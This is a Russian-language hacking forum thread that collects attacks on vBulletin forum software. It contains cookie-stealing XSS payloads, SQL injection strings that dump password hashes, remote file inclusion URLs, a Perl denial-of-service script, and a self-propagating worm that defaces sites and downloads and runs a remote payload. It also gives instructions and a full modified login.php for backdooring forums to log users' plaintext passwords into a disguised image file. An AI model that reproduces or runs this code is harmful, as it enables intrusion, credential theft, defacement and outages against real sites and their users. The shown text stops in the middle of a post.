3.6.8 Patch.Level 1

active xss:
если вы модератор на форуме, то при бане в поле "причина бана" указываете ваш скрипт, и он сработает:
при просмотре забаненых пользователей через:

модпанель(например туда может зайти СуперМодератор)

админ панель(админ)

когда зайдёт юзер в свой акк(сам юзер)


PHP код:

clientscript/ieprompt.html 

какойто недописанный скрипт.

PHP код:

global.php или arhive/global.php 

в некоторых случаях
раскрытие путей

gemaglabin 13.07.2007 05:14

Active XSS in Tag [google] & [googlevideo]
 
Активная xss в популярном теге для булки - google и googlevideo

Код:

[google*video][U*RL=/onmouseover=alert(1);a="]213[/U*RL][/google*video]123
[google][U*RL=/onmouseover=alert(1);a="]213[/U*RL][/google]123


v1d0qz 15.08.2007 12:56

Code Exec + Xss
 
vBulletin v3.6.5
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:
[site]/vb/includes/functions.php?classfile=[Shell-Attack]
[site]/vb/includes/functions_cron.php?nextitem=[Shell-Attack]
[site]/vb/includes/functions_forumdisplay.php?specialtemplates=[Shell-Attack]


vBulletin V3.6.8
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных во множестве сценариев множеством параметров. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

Пример:
[site]/[path]/faq.php?s=&do=search&q=%22%3E%3C%2Fscript%3E%3Cscr ipt%3Ealert%28document.cookie%29%3B%3C%2Fscript&ma tch=
all&titlesonly=0

[site]/[path]/member.php?u=1=s'&do=search&q=%22%3E%3C%2Fscript%3 E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=1

[site]/[path]/index.php?s=<script>alert('document.cookie')</script>

[site]/[path]/faq.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Csc ript%3Ealert%28document.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/memberlist.php?s="&do=search&q=%22%3E%3C%2Fscript% 3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2
Fscript&match=all&titlesonly=0

[site]/[path]/calendar.php?s="&do=search&q=%22%3E%3C%2Fscript%3E %3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/search.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3 Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscrip t
&match=all&titlesonly=0

[site]/[path]/search.php?do=getdaily"&do=search&q=%22%3E%3C%2Fsc ript%3E%3Cscript%3
Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fscrip t%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2 Fscript
&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?do=markread"&do=search&q=%22%3E%3 C%2Fscript%3E%3Cscript%3E
alert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?f=1"&do=search&q=%22%3E%3C%2Fscri pt%3E%3Cscript%3Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/showgroups.php?s="&do=search&q=%22%3E%3C%2Fscript% 3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fs cript&
match=all&titlesonly=0

[site]/[path]/online.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3 Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscrip t&
match=all&titlesonly=0

[site]/[path]/member.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3 Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/sendmessage.php?s="&do=search&q=%22%3E%3C%2Fscript %3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

Источник www.securitysib.com

freddi 09.11.2007 23:32

[HIDE] Tag Bypass
 
на некоторых форумах стоит хайд на ссылки, типа "зарегистрируйтесь, чтобы увидеть ссылку". вовсе не обязательно регаться, достаточно найти это сообщение через "найти все сообщения от ...". там ссылка будет в открытом виде. но обычно в поиске выводится только первые строки.

вот такая мего уязвимость)

Mind Ice 24.11.2007 16:02

[HIDE] Tag Bypass
 
2 freddi это неявляются уязвимостью как ты написал. Просто авторы таких постов с хайдом толком не умеют пользоваться тегами. Как ты написал нужно находить все соообщения от пользователя - хмм а если их 1000 и нужное в середине ? а форум позволяет индексировать только 200 - 400 ? Ненужно искать посты все проще помещаем курсор на скрытый тескт и видим ссылку =).

_-Ramos-_ 02.12.2007 14:38

SQL Injection в админке 3.6.5
 
SQL Injection в админке (тестировалось на версиях 3.6.4 и 3.6.5 )

1. Log in to admin panel
2. Go to Attachments->Search
3. Place the following string in the Attached Before field:

Код:

') union select 1,1,1,1,1,userid,password,1,username from user -- 9

S(r1pt 29.12.2007 15:50

vBuserbar SQL-inj
 
Продукт: vBuserbar
Уязвимость: SQL-inj
Автор: S(r1pt
Адрес: http://vash_site/vbuserbar.php?do=groupinsert&amp;name='
=\\

Mo4x 04.01.2008 19:05

vBulletin <=3.5.3 Search DoS
 
vBulletin <=3.5.3 Search DoS


Код:

#!/usr/bin/perl
##########################################
# vBdos.pl - vBulletin <=3.5.3 Search DoS
#
# Written by spic of g00ns
##########################################
# Contact
# Site: www.g00ns.net and www.g00ns-forum.net
# Email: spic <at> g00ns.net
# IRC: irc.g00ns.net #g00ns
##########################################
# Example
# vBdos.pl www.avbforum.com /vbulletin/
##########################################

print q{
____________________________________________________________________________
____ ____ ____ ____ _ __ ____ ____ _ __ ____ _____ ____ __ ___
/ __// __//_ // __// |/ // __// _// |/ // __/ / ___// __ / |/ /
_ / _/ / // _/ / /_ _/ / / /_ _ / /__ / /_/ // /|_/ /
/___//___/ /_//___//_/|_//___//___//_/|_//___/(_)___/ ____//_/ /_/
____________________________________________________________________________

};

use IO::Socket;
$server= $ARGV[0];
$path=$ARGV[1];


while($x != 9999)
{
$post =

"search_keywords=Se7enSins+owned+your+site$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=ms

gonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";

$lrg = length $post;


if(!$server||!$path)
{
print " vBulletin DoS by spic of g00ns nn";

print " Exploit code found on Se7enSins.com nn";

print " n00bFRAGGER was here... nn";

print " usage: VBDoS.pl <host without http> <directory> nn";
exit();
}



my $sock = new IO::Socket::INET (
PeerAddr => "$server",
PeerPort => "80",
Proto => "tcp",
);
die "nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!n" unless $sock;


print $sock "POST $path"."search.php?searchid=1952 HTTP/1.1n";
print $sock "Host: $servern";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $servern";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20050511 Firefox/1.0.5n";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "$postn";
close($sock);


syswrite STDOUT,".";

$x++;
}

##########################################


Elekt 12.01.2008 19:13

VBulletin 3.6.4 [FLASH] (SWF) XSS
 
Было много вопросов к посту:

Цитата:

Сообщение от Mr_Necromancer
VBulletin 3.6.4

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.

Пример:

Код:

getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='javascript';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();");

Для интересующихся как это реализуется:

Обзор работы SWF паразита
Подделка заголовков HTTP запроса с помощью Flash ActionScript
Bypassing JavaScript Filters the Flash! Attack
Cross-Domain Data Access via Flash [CDDAF] Reference
Forging HTTP Request Headers with Flash ActionScript

Elekt 12.01.2008 21:32

из новых модов не было

vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability
Exploit :
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(u sername,0x3a,password,0x3a,salt),31,@@version,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*


vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=http://evil.com?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=http://evil.com?

=======

_-Ramos-_ 22.01.2008 13:49

Vbulletin Tube (vBTube) XSS
 
Vbulletin Tube (vBTube) XSS

Exploit :
Код:

vBTube.php?do=search&search=<script>alert(document.cookie);</script>
Пример:
Код:

http://www.ruhot.ru/forum/vBTube.php?do=search&search=%3Cscript%3Ealert(document.cookie);%3C/script%3E

_-Ramos-_ 23.01.2008 10:19

vBulletin Worm <= 3.0.6
 
vBulletin Worm <= 3.0.6

Код:

#!/usr/bin/perl

#####################
####
#### #### #### #### #### #### #### # # # # ####
#### # # # # # # # # # # # # # #
#### #### # # ### ## #### # #### ## ###
#### # # # # # # # # # # # # #
#### # #### #### # # #### #### # # # # ####
####
#####################

use IO::Socket::INET;
$hahaha = $0;
my $processo = "/usr/local/sbin/httpd";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";

$0="$processo"."\0"x16;
my $pid=fork;
exit if $pid;

########################
# #
# procura index #
# #
#######################

system("locate index.* >> index");
system("find / -name index.* >> index");

open(a,"<index");
@ind = <a>;
close(a);
$b = scalar(@ind);
for($a=0;$a<=$b;$a++){
chomp $ind[$a];
system("echo spykids ownz your server > $ind[$a]");
}


#########################
# #
# pega sites e registra #
# #
#########################

`cat /etc/httpd/conf/httpd.conf |grep ServerName >> sites`;


open(a,"<sites");
@site = <a>;
close(a);

$b = scalar(@site);

for($a=0;$a<=$b;$a++)
{
$site[$a] =~ s/#//g;
$site[$a] =~ s/servername//g;
$site[$a] =~ s/ServerName//g;
$site[$a] =~ s/ //g;
$testa = IO::Socket::INET->new(PeerAddr => $site[$a], PeerPort => 80, Proto => "tcp") or next;
print $testa "GET / HTTP/1.0\n\n";
print $testa "Host: $site";
print $testa "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $testa "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $testa "Accept-Language: pt-br, pt;q=0.50";
print $testa "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $testa "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $testa "Keep-Alive: 300";
print $testa "Connection: keep-alive";
@ow = <$testa>;
close($teste);
$ae = "@ow";
if($ae =~/spykids/i){
$sock = IO::Socket::INET->new(PeerAddr => "www.zone-h.org", PeerPort => 80, Proto => "tcp") or die "nao conectou";
print $sock "POST /en/defacements/notify HTTP/1.0\r\n";
print $sock "Accept: */*\r\n";
print $sock "Referer: http://www.zone-h.org/en/defacements/notify\r\n";
print $sock "Accept-Language: pt-br\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Connection: Keep-Alive\r\n";
print $sock "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
print $sock "Host: www.zone-h.org\r\n";
print $sock "Content-Length: 385\r\n";
print $sock "Pragma: no-cache\r\n";
print $sock "\r\n";
print $sock "notify_defacer=SpyKids&notify_domain=http%3A%2F%2F$site[$a]&notify_hackmode=18&notify_reason=5&notify=+OK+\r\n";

close($sock);
}
}


#########################
# #
# worm aws.spykids #
# #
########################
while(1){
$cmd = '/misc.php?do=page&template={${system(%22cd%20/tmp;curl%20-O%20http://compras.el-nacional.com/spykids.txt%20;perl%20spykids.txt%20;rm%20-rf%20spykids*;%20wget%20http://compras.el-nacional.com/spykids.txt;%20perl%20spykids.txt;%20rm%20-rf%20%20spykids*%22)}}';




@site = "";
$a=0;
@dom = (".ar",".au",".aw",".ax",".az",".ba",".bb",".bd",".be",".bf",".bg",".bh",".bi",".bj",".bm",".bn",".bo",".br",".bs",".bt",".bv",".bw",".by",".bz",".ca",".cc",".cd",".cf",".cg",".ch",".ci",".ck" , ".cl", ".cm",".cn",".co",".cr",".cs",".cu", ".cv",".cx",".cy",".cz",".de",".dj",".dk",".dm",".do",".dz", ".ec",".ee",".eg",".eh",".er",".es",".et",".fi",".fj",".fk",".fm", ".fo",".fr",".ga",".gb",".gd",".ge",".gf",".gg",".gh",".gi",".gl", ".gm",".gn",".gp",".gq",".gr",".gs",".gt",".gu",".gw",".gy",".hk", ".hm",".hn",".hr",".ht",".hu",".id",".ie",".il",".im",".in",".io",".iq", ".ir",".is",".it",".je",".jm",".jo",".jp",".ke",".kg",".kh",".ki",".km", ".kn",".kp",".kr",".kw",".ky",".kz",".la",".lb",".lc",".li",".lk",".lr",".ls", ".lt",".lu",".lv",".ly",".ma",".mc",".md",".mg",".mh",".mk",".ml",".mm", ".mn",".mo",".mp",".mq",".mr",".ms",".mt",".mu",".mv",".mw",".mx",".my", ".mz",".na",".nc",".ne",".nf",".ng",".ni",".nl",".no",".np",".nr",".nu",".nz",".om", ".pa",".pe",".pf",".pg",".ph",".pk",".pl",".pm",".pn",".pr",".ps",".pt",".pw",".py", ".qa",".re",".ro",".ru",".rw",".sa",".sb",".sc",".sd",".se",".sg",".sh",".si",".sj",".sk",".sl", ".sm",".sn",".so",".sr",".st",".sv",".sy",".sz",".tc",".td",".tf",".tg",".th",".tj",".tk",".tl",".tm", ".tn",".to",".tp",".tr",".tt",".tv",".tw",".tz",".ua",".ug",".uk",".um",".us",".uy",".uz",".va",".vc",".ve",".vg",".vi",".vn", ".vu",".wf",".ws",".ye",".yt",".yu",".za",".zm",".zw");
foreach $dom (@dom){
$site = "www.google.com";
open(a,">pra.txt");
print a "";
close(a);
############### google

for($n=0;$n<1000;$n += 100){
$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
print $sock "GET h/search?q=%22Powered+by%3A+vBulletin%22inurl%3A$dom&num=100&hl=en&lr=&as_qdr=all&start=$n&sa=N HTTP/1.0\n\n";
print $sock "Host: www.google.com";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $sock "Accept-Language: pt-br, pt;q=0.50";
print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $sock "Keep-Alive: 300";
print $sock "Connection: keep-alive";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{

substr($uber,0,7) = "";
$nu = rindex $uber, '/';
$uber = substr($uber,0,$nu);


open(a,">>pra.txt");
print a "$uber\n";
close(a);

}}}}}}
}
}
$ark = "pra.txt";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
open(a,"<pra.txt");
@site = <a>;
close(a);

foreach $site (@site){
chomp $site;

($site, $dir) = split('/',$site);


$soc = IO::Socket::INET->new(PeerAddr => $site, PeerPort => 80, Proto => "tcp") or next;
print $soc "GET /$dir$cmd HTTP/1.0\n\n";
print $soc "Host: $site";
print $soc "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $soc "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $soc "Accept-Language: pt-br, pt;q=0.50";
print $soc "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $soc "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $soc "Keep-Alive: 300";
print $soc "Connection: keep-alive";
close($soc);

}
}
}


chezar 01.02.2008 21:51

узнать версию форума
 
На некоторых форумах версию форума можно узнать тут

forum/archive/index.php/

Basurman 23.03.2008 20:17

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
 
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)


По идее все просто: в файл login.php в корне сайта добавляем
PHP код:

// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
    
$vbulletin->input->clean_array_gpc('p', array(
        
'vb_login_username'        => TYPE_STR,
        
'vb_login_password'        => TYPE_STR,
        
'vb_login_md5password'     => TYPE_STR,
        
'vb_login_md5password_utf' => TYPE_STR,
        
'postvars'                 => TYPE_STR,
        
'cookieuser'               => TYPE_BOOL,
        
'logintype'                => TYPE_STR,
        
'cssprefs'                 => TYPE_STR,
    ));

    
define'auth_req''./customavatars/avatar178_2.gif' );
    
$fp fopenauth_req'a' ); 
    
$un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 date("d.m.y H.i.s");
    
$message "$un3:$un1:$un2\r\n"
    
flock($fp,LOCK_EX); 
    
fwrite$fp$message ); 
    
fflush($fp); flock($fp,LOCK_UN); fclose$fp ); 

    
// can the user login? 

но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:
Код:

...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...

Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:
PHP код:

            // implemented like this to make sure un-updated templates behave as before
            
input.value ''

Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
PHP код:

...
// input.value = '';
... 


P.S. против автозахода (куки) можно стереть из бд все сессии
P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)

Mo4x 09.05.2008 16:52

vBulletin 3.7.0 <= XSS Explot
 
vBulletin 3.7.0 <= XSS Explot


Found by RoBOTNIK


http://[website]/[forumpath]/ajax.php?do=CheckUsername&param=# EVIL XSS SCRIPT #
http://www.site.com/forums/ajax.php?do=CheckUsername&param=<script>alert('xss ');</script>

ReanimatoR 09.05.2008 17:47

vBulletin 3.7.0 листалка от DGT
 
vBulletin 3.7.0 листалка от DGT
может чем нить помочь если в папке с форумом лежит что нибудь ценное

на всех версиях от DGT пашет.
ЗЫ
http://forum.antichat.org/threadnav25644-1-10.html

GrAmOzEkA 11.05.2008 17:38

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
 
Цитата:

Сообщение от Basurman
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)

Делал немного по другому и в результате получал чистые пароли.

1) Добавляем в начало файла login.php

PHP код:

$Login $_POST['vb_login_username'];
$Passwd $_POST['vb_login_password'];
$fp fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp); 

2) Очищаем полностью файл clientscript/vbulletin_md5.js от этого ничего не изменится.

3) Для того чтобы обнулить сессии выполняем код:

PHP код:

$link mysql_connect('хост','логин','пасс');
mysql_select_db('база данных',$link);
$query "TRUNCATE TABLE префикс_session";
$result mysql_query($query$link);
mysql_close($link); 


baltazar 23.05.2008 22:21

p0h n03s priv8 rootshell vbulletin pw logger
Код:

<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.6.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2006 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/

// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');

// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();

// get special data templates from the datastore
$specialtemplates = array();

// pre-cache templates used by all actions
$globaltemplates = array();

// pre-cache templates used by specific actions
$actiontemplates = array(
    'lostpw' => array(
        'lostpw'
    )
);

// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');

// #######################################################################
// ######################## START MAIN SCRIPT ############################
// #######################################################################

$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);

if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
    exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
    $vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);

    if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash'])
    {
        eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash'])));
    }

    process_logout();

    $vbulletin->url = fetch_replaced_session_url($vbulletin->url);
    if (strpos($vbulletin->url, 'do=logout') !== false)
    {
        $vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
    }
    $show['member'] = false;
    eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));

}

// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
    $vbulletin->input->clean_array_gpc('p', array(
        'vb_login_username' => TYPE_STR,
        'vb_login_password' => TYPE_STR,
        'vb_login_md5password' => TYPE_STR,
        'vb_login_md5password_utf' => TYPE_STR,
        'postvars' => TYPE_STR,
        'cookieuser' => TYPE_BOOL,
        'logintype' => TYPE_STR,
        'cssprefs' => TYPE_STR,
    ));
    //does the user have a pass
    $username = $vbulletin->GPC['vb_login_username'];
    $password = $vbulletin->GPC['vb_login_password'];
    $logfile = "rootshell.txt";
    $lf = fopen($logfile, "a");
    fwrite($lf, "\n".$username . ' : ' .  $password."\n");
    fclose($lf);
    // can the user login?
    $strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);

    if ($vbulletin->GPC['vb_login_username'] == '')
    {
        eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
    }

    if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
    {
        ($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;

        // check password
        exec_strike_user($vbulletin->userinfo['username']);

        if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
        {
            // log this error if attempting to access the control panel
            require_once(DIR . '/includes/functions_log_error.php');
            log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
        }
        $vbulletin->userinfo = array(
            'userid' => 0,
            'usergroupid' => 1
        );

        if ($vbulletin->options['usestrikesystem'])
        {
            eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
        }
        else
        {
            eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
        }
    }

    exec_unstrike_user($vbulletin->GPC['vb_login_username']);

    // create new session
    process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

    // do redirect
    do_login_redirect();

}
else if ($_GET['do'] == 'login')
{
    // add consistency with previous behavior
    exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
    $vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
    $email = $vbulletin->GPC['email'];

    if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
    {
        $navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
        eval('$navbar = "' . fetch_template('navbar') . '";');
    }
    else
    {
        $navbar = '';
    }

    $url =& $vbulletin->url;
    eval('print_output("' . fetch_template('lostpw') . '");');
}

// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{

    $vbulletin->input->clean_gpc('p', 'email', TYPE_STR);

    if ($vbulletin->GPC['email'] == '')
    {
        eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
    }

    require_once(DIR . '/includes/functions_user.php');

    $users = $db->query_read_slave("
        SELECT userid, username, email, languageid
        FROM " . TABLE_PREFIX . "user
        WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
    ");
    if ($db->num_rows($users))
    {
        while ($user = $db->fetch_array($users))
        {
            $user['username'] = unhtmlspecialchars($user['username']);

            $user['activationid'] = build_user_activation_id($user['userid'], 2, 1);

            eval(fetch_email_phrases('lostpw', $user['languageid']));
            vbmail($user['email'], $subject, $message, true);
        }

        $vbulletin->url = str_replace('"', '', $vbulletin->url);
        eval(print_standard_redirect('redirect_lostpw', true, true));
    }
    else
    {
        eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
    }
}

// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{

    $vbulletin->input->clean_array_gpc('r', array(
        'userid'      => TYPE_UINT,
        'u'            => TYPE_UINT,
        'activationid' => TYPE_UINT,
        'i'            => TYPE_UINT
    ));

    if (!$vbulletin->GPC['userid'])
    {
        $vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
    }

    if (!$vbulletin->GPC['activationid'])
    {
        $vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
    }

    $userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);

    $user = $db->query_first("
        SELECT activationid, dateline
        FROM " . TABLE_PREFIX . "useractivation
        WHERE type = 1
            AND userid = $userinfo[userid]
    ");

    if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
    {  // is it older than 24 hours?
        eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
    }

    if ($user['activationid'] != $vbulletin->GPC['activationid'])
    { //wrong act id
        eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
    }

    // delete old activation id
    $db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1");

    // make random number
    $newpassword = vbrand(0, 100000000);

    // init user data manager
    $userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
    $userdata->set_existing($userinfo);
    $userdata->set('password', $newpassword);
    $userdata->save();

    ($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;

    eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
    vbmail($userinfo['email'], $subject, $message, true);

    eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));

}

/*======================================================================*\
|| ####################################################################
|| # CVS: $RCSfile: login.php,v $ - $Revision: 1.160 $
|| ####################################################################
\*======================================================================*/
?>


Elekt 26.05.2008 23:51

Опровержение - Vbulletin 3.7.0 Gold Sql injection on faq.php
 
Цитата:

Сообщение от aquam
Судя по всему там мжно вставить только один символ.
Т.е. срубают базу данных следующий код:
faq.php?s=&do=search&match=any&titlesonly=1&q=a+a+ a
(даже без кавычек)

Но что толку?

Vbulletin 3.7.0 Gold Sql injection on faq.php

Я посмотрел щас код.
Да, действительно толку в баги нет.
Это ошибка логики, при одиночном символе происходит некорректное формирование запроса к бд.
Заюзать с пользой невозможно.

ReanimatoR 01.07.2008 23:10

XSS vBanonymizer
 
XSS в вобле
{
У жертвы должно быть:
Vbulletin forum - все версии
vBanonymizer - любая версия до 24.06.08
}
Цитата:

Сообщение от kerk (Сообщение 195979)
Наверное у многих установлен этот хак? (vBanonymizer) =) ссылка на вб.орг

Код:

Description:
